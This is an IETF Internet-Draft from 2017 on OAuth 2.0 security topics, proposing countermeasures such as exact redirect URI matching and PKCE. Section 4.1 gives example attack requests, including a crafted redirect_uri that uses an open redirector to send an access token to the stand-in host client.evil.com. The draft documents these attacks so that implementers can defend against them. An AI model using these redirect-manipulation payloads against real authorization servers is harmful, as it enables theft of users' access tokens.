Open Authentication Protocol T. Lodderstedt, Ed.
Internet-Draft YES Europe AG
Intended status: Best Current Practice J. Bradley
Expires: October 1, 2017 Ping Identity
A. Labunets
Facebook
March 30, 2017

OAuth Security Topics
draft-ietf-oauth-security-topics-02

Abstract

This draft gives a comprehensive overview on open OAuth security topics. It is intended to serve as a working document for the OAuth working group to systematically capture and discuss these security topics and respective mitigations and eventually recommend best current practice and also OAuth extensions needed to cope with the respective security threats.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on October 1, 2017.

Copyright Notice

Copyright (c) 2017 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.

Table of Contents

1. Introduction

It's been a while since OAuth has been published in RFC 6749 [RFC6749] and RFC 6750 [RFC6750]. Since publication, OAuth 2.0 has gotten massive traction in the market and became the standard for API protection and, as foundation of OpenID Connect, identity providing. While OAuth was used in a variety of scenarios and different kinds of deployments, the following challenges could be observed:

The remainder of the document is organized as follows: The next section gives a summary of the set of security mechanisms and practices, the working group shall consider to recommend to OAuth implementers. This is followed by a section proposing modifications to OAuth intended to either simplify its usage and to strengten its security.

The remainder of the draft gives a detailed analyses of the weaknesses and implementation issues, which can be found in the wild today along with a discussion of potential counter measures. First, various scenarios how OAuth credentials (namely access tokens and authorization codes) may be disclosed to attackers and proposes countermeasures are discussed. Afterwards, the document discusses attacks possible with captured credential and how they may be prevented. The last sections discuss additional threats.

2. Recommended Best Practice

This section describes the set of security mechanisms the authors believe should be taken into consideration by the OAuth working group to be recommended to OAuth implementers.

2.1. Protecting redirect-based flows

Authorization servers shall utilize exact matching of client redirect URIs against pre-registered URIs. This measure contributes to the prevention of leakage of authorization codes and access tokens (depending on the grant type). It also helps to detect mix up attacks.

Clients shall avoid any redirects or forwards, which can be parameterized by URI query parameters, in order to provide a further layer of defence against token leakage. If there is a need for this kind of redirects, clients are advised to implement appropriate counter measures against open redirection, e.g. as described by the OWASP [owasp].

Clients shall ensure to only process redirect responses of the OAuth authorization server they send the respective request to and in the same user agent this request was initiated in. In particular, clients shall implement appropriate XSRF prevention by utilizing one-time use XSRF tokens carried in the STATE parameter, which are securely bound to the user agent. Moreover, the client shall store the authorization server's identity it send an authorization request to in a transaction-specific manner, which is also bound to the particular user agent. Furthermore, clients should use AS-specific redirect URIs as a means to identify the AS a particular response came from. Matching this with the before mentioned information regarding the AS the client sent the request to helps to detect mix-up attacks.

Note: [I-D.bradley-oauth-jwt-encoded-state] gives advice on how to implement XSRF prevention and AS matching using signed JWTs in the STATE parameter.

Clients shall use PKCE [RFC7636] in order to (with the help of the authorization server) detect attempts to inject authorization codes into the authorization response. The PKCE challenges must be transaction-specific and securely bound to the user agent, in which the transaction was started.

Note: although PKCE so far was recommended as mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications.

2.2. TBD

3. Recommended modifications and extensions to OAuth

This section describes the set of modifications and extensions the authors believe should be taken into consideration by the OAuth working group change and extend OAuth in order to strengthen its security and make it simpler to implement. It also recommends some changes to the OAuth set of specs.

Remove requirement to check actual redirect URI at token endpoint - seems to be complicated to implement properly and could be compromised

4. OAuth Credentials Leakage

This section describes a couple of different ways how OAuth credentials, namely authorization codes and access tokens, can be exposed to attackers.

4.1. Insufficient redirect URI validation

Some authorization servers allow clients to register redirect URI patterns instead of complete redirect URIs. In those cases, the authorization server, at runtime, matches the actual redirect URI parameter value at the authorization endpoint against this pattern. This approach allows clients to encode transaction state into additional redirect URI parameters or to register just a single pattern for multiple redirect URIs. As a downside, it turned out to be more complex to implement and error prone to manage than exact redirect URI matching. Several successful attacks have been observed in the wild, which utilized flaws in the pattern matching implementation or concrete configurations. Such a flaw effectively breaks client identification or authentication (depending on grant and client type) and allows the attacker to obtain an authorization code or access token, either:

4.1.1. Attacks on Authorization Code Grant

For a public client using the grant type code, an attack would look as follows:

Let's assume the redirect URL pattern "https://*.example.com/*" had been registered for the client "s6BhdRkqt3". This pattern allows redirect URIs from any host residing in the domain example.com. So if an attacker manager to establish a host or subdomain in "example.com" he can impersonate the legitimate client. Assume the attacker sets up the host "evil.example.com".

(1)
The attacker needs to trick the user into opening a tampered URL in his browser, which launches a page under the attacker's control, say "https://www.evil.com".
(2)
This URL initiates an authorization request with the client id of a legitimate client to the authorization endpoint. This is the example authorization request (line breaks are for display purposes only): 

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz
  &redirect_uri=https%3A%2F%2Fevil.client.example.com%2Fcb HTTP/1.1
Host: server.example.com

(1)
The authorization validates the redirect URI in order to identify the client. Since the pattern allows arbitrary domains host names in "example.com", the authorization request is processed under the legitimate client's identity. This includes the way the request for user consent is presented to the user. If auto-approval is allowed (which is not recommended for public clients according to RFC 6749), the attack can be performed even easier.
(2)
If the user does not recognize the attack, the code is issued and directly sent to the attacker's client.
(3)
Since the attacker impersonated a public client, it can directly exchange the code for tokens at the respective token endpoint.

Note: This attack will not directly work for confidential clients, since the code exchange requires authentication with the legitimate client's secret. The attacker will need to utilize the legitimate client to redeem the code (e.g. by mounting a code injection attack). This and other kinds of injections are covered in Section OAuth Credentials Injection.

4.1.2. Attacks on Implicit Grant

The attack described above works for the implicit grant as well. If the attacker is able to send the authorization response to a URI under his control, he will directly get access to the fragment carrying the access token.

Additionally, implicit clients can be subject to a further kind of attacks. It utilizes the fact that user agents re-attach fragments to the destination URL of a redirect if the location header does not contain a fragment (see [RFC7231], section 9.5). The attack described here combines this behavior with the client as an open redirector in order to get access to access tokens. This allows circumvention even of strict redirect URI patterns (but not strict URL matching!).

Assume the pattern for client "s6BhdRkqt3" is "https://client.example.com/cb?*", i.e. any parameter is allowed for redirects to "https://client.example.com/cb". Unfortunately, the client exposes an open redirector. This endpoint supports a parameter "redirect_to", which takes a target URL and will send the browser to this URL using a HTTP 302.

(1)
Same as above, the attacker needs to trick the user into opening a tampered URL in his browser, which launches a page under the attacker's control, say "https://www.evil.com".
(2)
The URL initiates an authorization request, which is very similar to the attack on the code flow. As differences, it utilizes the open redirector by encoding "redirect_to=https://client.evil.com" into the redirect URI and it uses the response type "token" (line breaks are for display purposes only):

GET /authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz
  &redirect_uri=https%3A%2F%2Fclient.example.com%2Fcb%26redirect_to
  %253Dhttps%253A%252F%252Fclient.evil.com%252Fcb HTTP/1.1
Host: server.example.com

(1)
Since the redirect URI matches the registered pattern, the authorization server allows the request and sends the resulting access token with a 302 redirect (some response parameters are omitted for better readability)

HTTP/1.1 302 Found
  Location: https://client.example.com/cb?
  redirect_to%3Dhttps%3A%2F%2Fclient.evil.com%2Fcb
  #access_token=2YotnFZFEjr1zCsicMWpAA&...

(2)
At the example.com, the request arrives at the open redirector. It will read the redirect parameter and will issue a HTTP 302 to the URL "https://evil.example.com/cb".

HTTP/1.1 302 Found
     Location: https://client.evil.com/cb

(3)
Since the redirector at example.com does not include a fragment in the Location header, the user agent will re-attach the original fragment
"#access_token=2YotnFZFEjr1zCsicMWpAA&..." to the URL and will navigate to the following URL:

https://client.evil.com/cb#access_token=2YotnFZFEjr1zCsicMWpAA&...

(4)
The attacker's page at client.evil.com can access the fragment and obtain the access token.

4.1.3. Proposed Countermeasures

The complexitity of implementing and managing pattern matching correctly obviously causes security issues. This document therefore proposes to simplify the required logic and configuration by using exact redirect URI matching only. This means the authorization server shall compare the two URIs using simple string comparison as defined in [RFC3986], Section 6.2.1..

This would cause the following impacts:

Additional recommendations:

Alternatives to exact redirect URI matching:

4.2. Authorization code leakage via referrer headers

It is possible authorization codes are unintentionally disclosed to attackers, if a OAuth client renders a page containing links to other pages (ads, faq, ...) as result of a successful authorization request.

If the user clicks onto one of those links and the target is under the control of an attacker, it can get access to the response URL in the referrer header.

It is also possible that an attacker injects cross-domain content somehow into the page, such as <img> (f.e. if this is blog web site etc.): the implication is obviously the same - loading this content by browser results in leaking referrer with a code.

4.2.1. Proposed Countermeasures

There are some means to prevent leakage as described above:

Note: There shouldn't be a referer header when loading HTTP content from a HTTPS -loaded page (e.g. help/faq pages)

Note: This kind of attack is not applicable to the implicit grant since fragments are not be included in referrer headers (cf. https://tools.ietf.org/html/rfc7231#section-5.5.2)

4.3. Attacks in the Browser

4.3.1. Code in browser history (TBD)

When browser navigates to "client.com/redirection_endpoint?code=abcd" as a result of a redirect from a provider's authorization endpoint.

Proposed countermeasures: code is one time use, has limited duration, is bound to client id/secret (confidential clients only)

4.3.2. Access token in browser history (TBD)

When a client or just a web site which already has a token deliberately navigates to a page like provider.com/get_user_profile?access_token=abcdef.. Actually RFC6750 discourages this practice and asks to transfer tokens via a header, but in practice web sites often just pass access token in query

When browser navigates to client.com/redirection_endpoint#access_token=abcef as a result of a redirect from a provider's authorization endpoint.

Proposal: replace implicit flow with postmessage communication

4.3.3. Javascript Code stealing Access Tokens (TBD)

sandboxing using service workers

4.4. Dynamic OAuth Scenarios

OAuth initially assumed a static relationship between client, authorization server and resource servers. The URLs of AS and RS were know to the client at deployment time and built an anchor for the trust relationsship among those parties. The validation whether the client talks to a legitimate server is based on TLS server authentication (see [RFC6819], Section 4.5.4).

With the increasing adoption of OAuth, this simple model dissolved and, in several scenarios, was replaced by a dynamic establishment of the relationship between clients on one side and the authorization and resource servers of a particular deployment on the other side. This way the same client can be used to access services of different providers (in case of standard APIs, such as e-Mail or OpenID Connect) or serves as a frontend to a particular tenant in a multi-tenancy.

Extensions of OAuth, such as [RFC7591] and [I-D.ietf-oauth-discovery] were developed in order to support the usage of OAuth in dynamic scenarios.

As a challenge to the community, such usage scenarios open up new attack angles, which are discussed in this section.

4.4.1. Access Token Phishing by Counterfeit Resource Server

An attacker may pretend to be a particular resource server and to accept tokens from a particular authorization server. If the client sends a valid access token to this counterfeit resource server, the server in turn may use that token to access other services on behalf of the resource owner.

Potential mitigation strategies:

4.4.2. Mix-Up

Mix-up is another kind of attack on more dynamic OAuth scenarios (or at least scenarios where a OAuth client interacts with multiple authorization servers). The goal of the attack is to obtain an authorization code or an access token by tricking the client into sending those credentials to the attacker (which acts as MITM between client and authorization server)

A detailed description of the attack and potential countermeasures is given in cf. https://tools.ietf.org/html/draft-ietf-oauth-mix-up-mitigation-01.

Potential mitigations:

5. OAuth Credentials Injection

Credential injection means an attacker somehow obtained a valid OAuth credential (code or token) and is able to utilize this to impersonate the legitimate resource owner or to cause a victim to access resources under the attacker's control (XSRF).

5.1. Code Injection

In such an attack, the adversary attempts to inject a stolen authorization code into a legitimate client on a device under his control. In the simplest case, the attacker would want to use the code in his own client. But there are situations where this might not be possible or intended. Example are:

How does an attack look like?

(1)
The attacker obtains an authorization code by executing any of the attacks described above (OAuth Credentials Leakage).
(2)
It performs an OAuth authorization process with the legitimate client on his device.
(3)
The attacker injects the stolen authorization code in the response of the authorization server to the legitimate client.
(4)
The client sends the code to the authorization server's token endpoint, along with client id, client secret and actual redirect_uri.
(5)
The authorization server checks the client secret, whether the code was issued to the particular client and whether the actual redirect URI matches the redirect_uri parameter.
(6)
If all checks succeed, the authorization server issues access and other tokens to the client.
(7)
The attacker just impersonated the victim.

Obviously, the check in step (5) will fail, if the code was issued to another client id, e.g. a client set up by the attacker.

An attempt to inject a code obtained via a malware pretending to be the legitimate client should also be detected, if the authorization server stored the complete redirect URI used in the authorization request and compares it with the redirect_uri parameter.

[RFC6749], Section 4.1.3, requires the AS to ... "ensure that the "redirect_uri" parameter is present if the "redirect_uri" parameter was included in the initial authorization request as described in Section 4.1.1, and if included ensure that their values are identical." In the attack scenario described above, the legitimate client would use the correct redirect URI it always uses for authorization requests. But this URI would not match the tampered redirect URI used by the attacker (otherwise, the redirect would not land at the attackers page). So the authorization server would detect the attack and refuse to exchange the code.

Note: this check could also detect attempt to inject a code, which had been obtained from another instance of the same client on another device, if certain conditions are fulfilled:

But this approach conflicts with the idea to enforce exact redirect URI matching at the authorization endpoint. Moreover, it has been observed that providers very often ignore the redirect_uri check requirement at this stage, maybe, because it doesn't seem to be security-critical from reading the spec.

Other providers just pattern match the redirect_uri parameter against the registered redirect URI pattern. This saves the authorization server from storing the link between the actual redirect URI and the respective authorization code for every transaction. But this kind of check obviously does not fulfill the intent of the spec, since the tampered redirect URI is not considered. So any attempt to inject a code obtained using the client_id of a legitimate client or by utilizing the legitimate client on another device won't be detected in the respective deployments.

It is also assumed that the requirements defined in [RFC6749], Section 4.1.3, increase client implementation complexity as clients need to memorize or re-construct the correct redirect URI for the call to the tokens endpoint.

The authors therefore propose to the working group to drop this feature in favor of more effective and (hopefully) simpler approaches to code injection prevention as described in the following section.

5.1.1. Proposed Countermeasures

The general proposal is to bind every particular authorization code to a certain client on a certain device (or in a certain user agent) in the context of a certain transaction. There are multiple technical solutions to achieve this goal:

Nonce
OpenID Connect's existing "nonce" parameter is used for this purpose. The nonce value is one time use and created by the client. The client is supposed to bind it to the user agent session and sends it with the initial request to the OpenId Provider (OP). The OP associates the nonce to the authorization code and attests this binding in the ID token, which is issued as part of the code exchange at the token endpoint. If an attacker injected an authorization code in the authorization response, the nonce value in the client session and the nonce value in the ID token will not match and the attack is detected. assumption: attacker cannot get hold of the user agent state on the victims device, where he has stolen the respective authorization code.
pro:
- existing feature, used in the wild
con:
- OAuth does not have an ID Token - would need to push that down the stack
Code-bound State
It has been discussed in the security workshop in December to use the OAuth state value much similar in the way as described above. In the case of the state value, the idea is to add a further parameter state to the code exchange request. The authorization server then compares the state value it associated with the code and the state value in the parameter. If those values do not match, it is considered an attack and the request fails. Note: a variant of this solution would be send a hash of the state (in order to prevent bulky requests and DoS).
pro:
- use existing concept
con:
- state needs to fulfil certain requirements (one time use, complexity)
- new parameter means normative spec change
PKCE
Basically, the PKCE challenge/verifier could be used in the same way as Nonce or State. In contrast to its original intention, the verifier check would fail although the client uses its correct verifier but the code is associated with a challenge, which does not match.
pro:
- existing and deployed OAuth feature
con:
- currently used and recommended for native apps, not web apps
Token Binding
Code must be bind to UA-AS and UA-Client legs - requires further data (extension to response) to manifest binding id for particular code.
Note: token binding could be used in conjunction with PKCE as an option (https://tools.ietf.org/html/draft-campbell-oauth-tbpkce).
pro:
- highly secure
con:
- highly sophisticated, requires browser support, will it work for native apps?
per instance client id/secret
...

Note on pre-warmed secrets: An attacker can circumvent the countermeasures described above if he is able to create or capture the respective secret or code_challenge on a device under his control, which is then used in the victim's authorization request.
Exact redirect URI matching of authorization requests can prevent the attacker from using the pre-warmed secret in the faked authorization transaction on the victim's device.
Unfortunately it does not work for all kinds of OAuth clients. It is effective for web and JS apps and for native apps with claimed URLs. What about other native apps? Treat nonce or PKCE challenge as replay detection tokens (needs to ensure cluster-wide one-time use)?

5.1.2. Access Token Injection (TBD)

Note: An attacker in possession of an access token can access any resources the access token gives him the permission to. This kind of attacks simply illustrates the fact that bearer tokens utilized by OAuth are reusable similar to passwords unless they are protected by further means.
(where do we treat access token replay/use at the resource server? https://tools.ietf.org/html/rfc6819#section-4.6.4 has some text about it but is it sufficient?)

The attack described in this section is about injecting a stolen access token into a legitimate client on a device under the adversaries control. The attacker wants to impersonate a victim and cannot use his own client, since he wants to access certain functions in this particular client.

Proposal: token binding, hybrid flow+nonce(OIDC), other cryptographical binding between access token and user agent instance

5.1.3. XSRF (TBD)

injection of code or access token on a victim's device (e.g. to cause client to access resources under the attacker's control)

mitigation: XSRF tokens (one time use) w/ user agent binding (cf. https://www.owasp.org/index.php/CrossSite_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)

6. Other Attacks

Using the AS as Open Redirector - error handling AS (redirects) (draft-ietf-oauth-closing-redirectors-00)

Using the Client as Open Redirector

redirect via status code 307 - use 302

7. Other Topics

why to rotate refresh tokens

why audience restriction

how to support multi AS per RS

...

differentiate native, JS and web clients

federated login to apps (code flow to own AS in browser and federated login to 3rd party IDP in browser)

do not put sensitive data in URL/GET parameters (Jim Manico)

8. Acknowledgements

We would like to thank Jim Manico and Phil Hunt for their valuable feedback.

9. IANA Considerations

This draft includes no request to IANA.

10. Security Considerations

All relevant security considerations have been given in the functional specification.

11. References

11.1. Normative References

[RFC3986] Berners-Lee, T., Fielding, R. and L. Masinter, "Uniform Resource Identifier (URI): Generic Syntax", STD 66, RFC 3986, DOI 10.17487/RFC3986, January 2005.
[RFC6749] Hardt, D., "The OAuth 2.0 Authorization Framework", RFC 6749, DOI 10.17487/RFC6749, October 2012.
[RFC6750] Jones, M. and D. Hardt, "The OAuth 2.0 Authorization Framework: Bearer Token Usage", RFC 6750, DOI 10.17487/RFC6750, October 2012.
[RFC6819] Lodderstedt, T., McGloin, M. and P. Hunt, "OAuth 2.0 Threat Model and Security Considerations", RFC 6819, DOI 10.17487/RFC6819, January 2013.
[RFC7231] Fielding, R. and J. Reschke, "Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content", RFC 7231, DOI 10.17487/RFC7231, June 2014.
[RFC7591] Richer, J., Jones, M., Bradley, J., Machulak, M. and P. Hunt, "OAuth 2.0 Dynamic Client Registration Protocol", RFC 7591, DOI 10.17487/RFC7591, July 2015.

11.2. Informative References

, "
[I-D.bradley-oauth-jwt-encoded-state] Bradley, J., Lodderstedt, T. and H. Zandbelt, Encoding claims in the OAuth 2 state parameter using a JWT", Internet-Draft draft-bradley-oauth-jwt-encoded-state-07, March 2017.
[I-D.ietf-oauth-discovery] Jones, M., Sakimura, N. and J. Bradley, "OAuth 2.0 Authorization Server Metadata", Internet-Draft draft-ietf-oauth-discovery-04, August 2016.
[owasp]Open Web Application Security Project Home Page"
[RFC7636] Sakimura, N., Bradley, J. and N. Agarwal, "Proof Key for Code Exchange by OAuth Public Clients", RFC 7636, DOI 10.17487/RFC7636, September 2015.

Appendix A. Document History

[[ To be removed from the final specification ]]

-01

-00 (WG document)

Authors' Addresses

Torsten Lodderstedt (editor) YES Europe AG EMail: torsten@lodderstedt.net
John Bradley Ping Identity EMail: ve7jtb@ve7jtb.com
Andrey Labunets Facebook EMail: isciurus@fb.com